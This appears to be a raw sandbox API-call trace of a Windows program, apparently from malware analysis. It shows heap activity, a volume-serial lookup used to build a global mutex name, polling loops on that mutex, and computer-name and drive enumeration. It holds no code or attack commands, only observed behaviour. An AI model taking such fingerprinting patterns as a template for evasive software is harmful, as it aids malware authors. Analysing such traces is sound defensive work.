[0111.888] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x1e) returned 0xc246a0 [0111.888] GetProcessHeap () returned 0xc00000 [0111.888] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc139f0 [0111.888] GetProcessHeap () returned 0xc00000 [0111.889] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc139f0 | out: hHeap=0xc00000) returned 1 [0111.889] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc24ab0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0111.889] GetProcessHeap () returned 0xc00000 [0111.889] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc246a0 | out: hHeap=0xc00000) returned 1 [0111.889] GetProcessHeap () returned 0xc00000 [0111.889] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc248a8 | out: hHeap=0xc00000) returned 1 [0111.889] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x29df92c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29df92c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0111.890] GetProcessHeap () returned 0xc00000 [0111.890] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24ab0 | out: hHeap=0xc00000) returned 1 [0111.890] GetProcessHeap () returned 0xc00000 [0111.890] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x40) returned 0xc12670 [0111.890] GetProcessHeap () returned 0xc00000 [0111.890] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x3a) returned 0xc12700 [0111.890] GetProcessHeap () returned 0xc00000 [0111.890] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc12700, Size=0x72) returned 0x37c6570 [0111.890] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x310 [0111.890] WaitForSingleObject (hHandle=0x310, dwMilliseconds=0x0) returned 0x102 [0111.891] CloseHandle (hObject=0x310) returned 1 [0111.891] GetProcessHeap () returned 0xc00000 [0111.891] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc12670 | out: hHeap=0xc00000) returned 1 [0111.891] GetProcessHeap () returned 0xc00000 [0111.891] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c6570 | out: hHeap=0xc00000) returned 1 [0111.891] Sleep (dwMilliseconds=0x3e8) [0114.133] GetProcessHeap () returned 0xc00000 [0114.133] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20) returned 0xc248a8 [0114.133] GetProcessHeap () returned 0xc00000 [0114.133] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x1e) returned 0xc24858 [0114.133] GetProcessHeap () returned 0xc00000 [0114.133] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x1e) returned 0xc24768 [0114.133] GetProcessHeap () returned 0xc00000 [0114.133] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc11028 [0114.134] GetProcessHeap () returned 0xc00000 [0114.134] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc11028 | out: hHeap=0xc00000) returned 1 [0114.134] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc24858, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0114.134] GetProcessHeap () returned 0xc00000 [0114.134] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24768 | out: hHeap=0xc00000) returned 1 [0114.134] GetProcessHeap () returned 0xc00000 [0114.134] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc248a8 | out: hHeap=0xc00000) returned 1 [0114.134] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x29df92c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29df92c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0114.134] GetProcessHeap () returned 0xc00000 [0114.135] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24858 | out: hHeap=0xc00000) returned 1 [0114.135] GetProcessHeap () returned 0xc00000 [0114.135] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x40) returned 0xc128b0 [0114.135] GetProcessHeap () returned 0xc00000 [0114.135] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x3a) returned 0xc12700 [0114.135] GetProcessHeap () returned 0xc00000 [0114.135] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc12700, Size=0x72) returned 0x37c5df0 [0114.135] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x2c8 [0114.135] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0114.135] CloseHandle (hObject=0x2c8) returned 1 [0114.135] GetProcessHeap () returned 0xc00000 [0114.135] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc128b0 | out: hHeap=0xc00000) returned 1 [0114.135] GetProcessHeap () returned 0xc00000 [0114.135] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c5df0 | out: hHeap=0xc00000) returned 1 [0114.135] Sleep (dwMilliseconds=0x3e8) Thread: id = 17 os_tid = 0x1178 [0085.842] GetProcessHeap () returned 0xc00000 [0085.842] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x21a) returned 0xc2adb8 [0085.842] GetProcessHeap () returned 0xc00000 [0085.842] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x28) returned 0xc17510 [0085.842] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x280 [0085.842] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2bc [0085.842] GetComputerNameW (in: lpBuffer=0xc2adc8, nSize=0x2b1ff58 | out: lpBuffer="NQDPDE", nSize=0x2b1ff58) returned 1 [0085.842] GetProcessHeap () returned 0xc00000 [0085.842] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20) returned 0xc24b78 [0085.842] CloseHandle (hObject=0x2bc) returned 1 [0085.842] CloseHandle (hObject=0x280) returned 1 [0085.842] GetProcessHeap () returned 0xc00000 [0085.842] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc17510 | out: hHeap=0xc00000) returned 1 [0085.843] GetProcessHeap () returned 0xc00000 [0085.843] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24b78 | out: hHeap=0xc00000) returned 1 [0085.843] GetProcessHeap () returned 0xc00000 [0085.843] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc2adb8 | out: hHeap=0xc00000) returned 1 [0085.843] GetProcessHeap () returned 0xc00000 [0085.843] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc18ea8 | out: hHeap=0xc00000) returned 1 Thread: id = 18 os_tid = 0x1160 [0085.844] GetLogicalDrives () returned 0x4 [0085.844] GetProcessHeap () returned 0xc00000 [0085.844] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x40) returned 0xc121f0 [0085.844] GetProcessHeap () returned 0xc00000 [0085.844] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x28) returned 0xc17510 [0085.845] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x280 [0085.845] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2bc [0085.845] GetProcessHeap () returned 0xc00000 [0085.845] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20) returned 0xc24790 [0085.845] GetProcessHeap () returned 0xc00000 [0085.845] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x1e) returned 0xc24740 [0085.845] GetProcessHeap () returned 0xc00000 [0085.845] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x1e) returned 0xc249e8 [0085.845] GetProcessHeap () returned 0xc00000 [0085.845] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc139f0 [0085.845] GetProcessHeap () returned 0xc00000 [0085.845] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc139f0 | out: hHeap=0xc00000) returned 1 [0085.845] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc24740, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0085.845] GetProcessHeap () returned 0xc00000 [0085.845] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc249e8 | out: hHeap=0xc00000) returned 1 [0085.845] GetProcessHeap () returned 0xc00000 [0085.845] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24790 | out: hHeap=0xc00000) returned 1 [0085.845] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2c5fe64, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2c5fe64*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0085.846] GetProcessHeap () returned 0xc00000 [0085.846] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24740 | out: hHeap=0xc00000) returned 1 [0085.846] GetProcessHeap () returned 0xc00000 [0085.846] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10) returned 0xc1fb00 [0085.846] GetProcessHeap () returned 0xc00000 [0085.846] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10) returned 0xc1fb18 [0085.846] GetProcessHeap () returned 0xc00000 [0085.846] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10) returned 0xc1fc38 [0085.846] GetProcessHeap () returned 0xc00000 [0085.846] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc139f0 [0085.846] GetProcessHeap () returned 0xc00000 [0085.846] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10) returned 0xc1fc08 [0085.846] htonl (hostlong=0xb4197730) returned 0x307719b4 [0085.846] QueryPerformanceCounter (in: lpPerformanceCount=0x2c5fd58 | out: lpPerformanceCount=0x2c5fd58*=18068282771) returned 1 [0085.846] GetTickCount () returned 0x1156a20 [0085.846] GetCurrentProcessId () returned 0x112c [0085.846] GetCurrentThreadId () returned 0x1160 [0085.846] GetLocalTime (in: lpSystemTime=0x2c5fd40 | out: lpSystemTime=0x2c5fd40*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x4, wDay=0x17, wHour=0xf, wMinute=0x24, wSecond=0x23, wMilliseconds=0x308)) [0085.847] SystemTimeToFileTime (in: lpSystemTime=0x2c5fd40, lpFileTime=0x2c5fd50 | out: lpFileTime=0x2c5fd50) returned 1 [0085.847] QueryPerformanceCounter (in: lpPerformanceCount=0x2c5fd58 | out: lpPerformanceCount=0x2c5fd58*=18068311709) returned 1 [0085.847] GetProcessHeap () returned 0xc00000 [0085.847] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x28) returned 0xc175a0 [0085.847] GetProcessHeap () returned 0xc00000 [0085.847] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10) returned 0xc1fc20 [0085.847] GetProcessHeap () returned 0xc00000 [0085.847] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x4) returned 0xc185b0 [0085.847] GetProcessHeap () returned 0xc00000 [0085.847] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x14) returned 0xc19048 [0085.847] GetProcessHeap () returned 0xc00000 [0085.847] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10) returned 0xc1fbd8 [0085.847] GetProcessHeap () returned 0xc00000 [0085.847] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x80) returned 0xc133a0 [0085.847] GetProcessHeap () returned 0xc00000 [0085.847] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10) returned 0xc1fbf0 [0085.847] GetProcessHeap () returned 0xc00000 [0085.847] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x82) returned 0xc11190 [0085.847] GetProcessHeap () returned 0xc00000 [0085.847] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10) returned 0xc1fba8 [0085.847] GetProcessHeap () returned 0xc00000 [0085.847] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x4) returned 0xc184e0 [0085.848] GetProcessHeap () returned 0xc00000 [0085.848] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10) returned 0xc1fb78 [0085.848] GetProcessHeap () returned 0xc00000 [0085.848] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x80) returned 0xc11028 [0085.848] GetProcessHeap () returned 0xc00000 [0085.848] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10) returned 0xc1fb90 [0085.848] GetProcessHeap () returned 0xc00000 [0085.848] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x2) returned 0xc2af98 [0085.848] GetProcessHeap () returned 0xc00000 [0085.848] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x4) returned 0xc2af78 [0085.848] GetProcessHeap () returned 0xc00000 [0085.848] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10) returned 0xc1fbc0 [0085.848] GetProcessHeap () returned 0xc00000 [0085.848] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x80) returned 0xc110b0 [0085.848] GetProcessHeap () returned 0xc00000 [0085.848] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10) returned 0xc2b9b0 [0085.848] GetProcessHeap () returned 0xc00000 [0085.848] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x4) returned 0xc2ae88 [0085.848] GetProcessHeap () returned 0xc00000 [0085.848] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc2af98, Size=0x82) returned 0xc0fba8 [0085.848] GetProcessHeap () returned 0xc00000 [0085.848] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc2ae88, Size=0x100) returned 0xc129d0 [0085.848] GetProcessHeap () returned 0xc00000 [0085.848] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10) returned 0xc2ba10 [0085.848] GetProcessHeap () returned 0xc00000 [0085.848] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x82) returned 0xc2bdc8 [0085.848] GetProcessHeap () returned 0xc00000 [0085.848] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10) returned 0xc2b9f8 [0085.848] GetProcessHeap () returned 0xc00000 [0085.849] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x82) returned 0xc2be58 [0085.849] GetProcessHeap () returned 0xc00000 [0085.849] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc0fba8, Size=0x104) returned 0xc0fba8 [0085.849] GetProcessHeap () returned 0xc00000 [0085.849] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc129d0, Size=0x200) returned 0xc2bee8 [0085.850] GetProcessHeap () returned 0xc00000 [0085.850] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc2af78 | out: hHeap=0xc00000) returned 1 [0085.850] GetProcessHeap () returned 0xc00000 [0085.850] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc2bee8 | out: hHeap=0xc00000) returned 1 [0085.850] GetProcessHeap () returned 0xc00000 [0085.850] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc2b9b0 | out: hHeap=0xc00000) returned 1 [0085.850] GetProcessHeap () returned 0xc00000 [0085.850] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc11028 | out: hHeap=0xc00000) returned 1 [0085.850] GetProcessHeap () returned 0xc00000 [0085.850] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1fb78 | out: hHeap=0xc00000) returned 1 [0085.850] GetProcessHeap () returned 0xc00000 [0085.851] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc110b0 | out: hHeap=0xc00000) returned 1 [0085.851] GetProcessHeap () returned 0xc00000 [0085.851] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1fbc0 | out: hHeap=0xc00000) returned 1 [0085.851] GetProcessHeap () returned 0xc00000 [0085.851] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc0fba8 | out: hHeap=0xc00000) returned 1 [0085.851] GetProcessHeap () returned 0xc00000 [0085.851] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1fb90 | out: hHeap=0xc00000) returned 1 [0085.851] GetProcessHeap () returned 0xc00000 [0085.851] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc2bdc8 | out: hHeap=0xc00000) returned 1 [0085.851] GetProcessHeap () returned 0xc00000 [0085.851] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc2ba10 | out: hHeap=0xc00000) returned 1 [0085.851] GetProcessHeap () returned 0xc00000 [0085.851] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc2be58 | out: hHeap=0xc00000) returned 1 [0085.851] GetProcessHeap () returned 0xc00000 [0085.851] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc2b9f8 | out: hHeap=0xc00000) returned 1 [0085.851] GetProcessHeap () returned 0xc00000 [0085.851] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc185b0 | out: hHeap=0xc00000) returned 1 [0085.851] GetProcessHeap () returned 0xc00000 [0085.851] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1fc20 | out: hHeap=0xc00000) returned 1 [0085.851] GetProcessHeap () returned 0xc00000 [0085.851] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc11190 | out: hHeap=0xc00000) returned 1 [0085.851] GetProcessHeap () returned 0xc00000 [0085.851] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1fbf0 | out: hHeap=0xc00000) returned 1 [0085.851] GetProcessHeap () returned 0xc00000 [0085.851] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc133a0 | out: hHeap=0xc00000) returned 1 [0085.851] GetProcessHeap () returned 0xc00000 [0085.851] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1fbd8 | out: hHeap=0xc00000) returned 1 [0085.851] GetProcessHeap () returned 0xc00000 [0085.851] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc184e0 | out: hHeap=0xc00000) returned 1 [0085.851] GetProcessHeap () returned 0xc00000 [0085.851] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1fba8 | out: hHeap=0xc00000) returned 1 [0085.852] GetProcessHeap () returned 0xc00000 [0085.852] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc175a0 | out: hHeap=0xc00000) returned 1 [0085.852] GetProcessHeap () returned 0xc00000 [0085.852] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc19048 | out: hHeap=0xc00000) returned 1 [0085.852] GetProcessHeap () returned 0xc00000 [0085.852] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0xa4) returned 0xc10578 [0085.852] GetProcessHeap () returned 0xc00000 [0085.852] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1fb18 | out: hHeap=0xc00000) returned 1 [0085.852] GetProcessHeap () returned 0xc00000 [0085.852] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1fc38 | out: hHeap=0xc00000) returned 1 [0085.852] GetProcessHeap () returned 0xc00000 [0085.852] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc139f0 | out: hHeap=0xc00000) returned 1 [0085.852] GetProcessHeap () returned 0xc00000 [0085.852] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1fc08 | out: hHeap=0xc00000) returned 1 [0085.852] GetProcessHeap () returned 0xc00000 [0085.852] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1fb00 | out: hHeap=0xc00000) returned 1 [0085.852] GetProcessHeap () returned 0xc00000 [0085.852] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x18) returned 0xc19048 [0085.852] GetProcessHeap () returned 0xc00000 [0085.852] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0xe) returned 0xc1fb00 [0085.852] ResetEvent (hEvent=0x2bc) returned 1 [0085.852] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1e56b3, lpParameter=0xc19048, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c0 [0085.853] CloseHandle (hObject=0x2c0) returned 1 [0085.853] GetProcessHeap () returned 0xc00000 [0085.853] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10) returned 0xc1fb18 [0085.853] GetProcessHeap () returned 0xc00000 [0085.853] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10) returned 0xc1fb78 [0085.853] GetProcessHeap () returned 0xc00000 [0085.853] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10) returned 0xc1fc20 [0085.853] GetProcessHeap () returned 0xc00000 [0085.853] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc139f0 [0085.853] GetProcessHeap () returned 0xc00000 [0085.853] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10) returned 0xc1fbf0 [0085.853] htonl (hostlong=0xb4197730) returned 0x307719b4 [0085.854] GetProcessHeap () returned 0xc00000 [0085.854] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x28) returned 0xc175a0 [0085.854] GetProcessHeap () returned 0xc00000 [0085.854] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10) returned 0xc1fc38 [0085.854] GetProcessHeap () returned 0xc00000 [0085.854] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x4) returned 0xc185b0 [0085.854] GetProcessHeap () returned 0xc00000 [0085.854] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x14) returned 0xc18ec8 [0085.854] GetProcessHeap () returned 0xc00000 [0085.854] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10) returned 0xc1fbc0 [0085.854] GetProcessHeap () returned 0xc00000 [0085.854] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x80) returned 0xc133a0 [0085.854] GetProcessHeap () returned 0xc00000 [0085.854] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10) returned 0xc1fba8 [0085.854] GetProcessHeap () returned 0xc00000 [0085.854] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x82) returned 0xc11190 [0085.854] GetProcessHeap () returned 0xc00000 [0085.854] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10) returned 0xc1fb90 [0085.854] GetProcessHeap () returned 0xc00000 [0085.854] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x4) returned 0xc184e0 [0085.854] GetProcessHeap () returned 0xc00000 [0085.854] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10) returned 0xc1fbd8 [0085.854] GetProcessHeap () returned 0xc00000 [0085.854] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x80) returned 0xc0fba8 [0085.854] GetProcessHeap () returned 0xc00000 [0085.854] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10) returned 0xc1fc08 [0085.855] GetProcessHeap () returned 0xc00000 [0085.855] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x2) returned 0xc2af38 [0085.855] GetProcessHeap () returned 0xc00000 [0085.855] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x4) returned 0xc2ae28 [0085.855] GetProcessHeap () returned 0xc00000 [0085.855] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10) returned 0xc2b848 [0085.855] GetProcessHeap () returned 0xc00000 [0085.855] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x80) returned 0xc0fc30 [0085.855] GetProcessHeap () returned 0xc00000 [0085.855] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10) returned 0xc2b7b8 [0085.855] GetProcessHeap () returned 0xc00000 [0085.855] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x4) returned 0xc2af28 [0085.855] GetProcessHeap () returned 0xc00000 [0085.855] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc2af38, Size=0x82) returned 0xc11028 [0085.855] GetProcessHeap () returned 0xc00000 [0085.855] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc2af28, Size=0x100) returned 0xc129d0 [0085.855] GetProcessHeap () returned 0xc00000 [0085.855] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10) returned 0xc2b800 [0085.855] GetProcessHeap () returned 0xc00000 [0085.855] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x82) returned 0xc2bdc8 [0085.855] GetProcessHeap () returned 0xc00000 [0085.855] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10) returned 0xc2b830 [0085.855] GetProcessHeap () returned 0xc00000 [0085.855] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x82) returned 0xc2be58 [0085.855] GetProcessHeap () returned 0xc00000 [0085.855] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc11028, Size=0x104) returned 0xc11028 [0085.856] GetProcessHeap () returned 0xc00000 [0085.856] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc129d0, Size=0x200) returned 0xc2bee8 [0085.857] GetProcessHeap () returned 0xc00000 [0085.857] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc2ae28 | out: hHeap=0xc00000) returned 1 [0085.857] GetProcessHeap () returned 0xc00000 [0085.857] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc2bee8 | out: hHeap=0xc00000) returned 1 [0085.857] GetProcessHeap () returned 0xc00000 [0085.857] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc2b7b8 | out: hHeap=0xc00000) returned 1 [0085.857] GetProcessHeap () returned 0xc00000 [0085.857] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc0fba8 | out: hHeap=0xc00000) returned 1 [0085.857] GetProcessHeap () returned 0xc00000 [0085.857] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1fbd8 | out: hHeap=0xc00000) returned 1 [0085.857] GetProcessHeap () returned 0xc00000 [0085.857] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc0fc30 | out: hHeap=0xc00000) returned 1 [0085.857] GetProcessHeap () returned 0xc00000 [0085.857] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc2b848 | out: hHeap=0xc00000) returned 1 [0085.857] GetProcessHeap () returned 0xc00000 [0085.857] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc11028 | out: hHeap=0xc00000) returned 1 [0085.857] GetProcessHeap () returned 0xc00000 [0085.857] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1fc08 | out: hHeap=0xc00000) returned 1 [0085.857] GetProcessHeap () returned 0xc00000 [0085.857] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc2bdc8 | out: hHeap=0xc00000) returned 1 [0085.857] GetProcessHeap () returned 0xc00000 [0085.857] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc2b800 | out: hHeap=0xc00000) returned 1 [0085.857] GetProcessHeap () returned 0xc00000 [0085.857] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc2be58 | out: hHeap=0xc00000) returned 1 [0085.857] GetProcessHeap () returned 0xc00000 [0085.858] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc2b830 | out: hHeap=0xc00000) returned 1 [0085.858] GetProcessHeap () 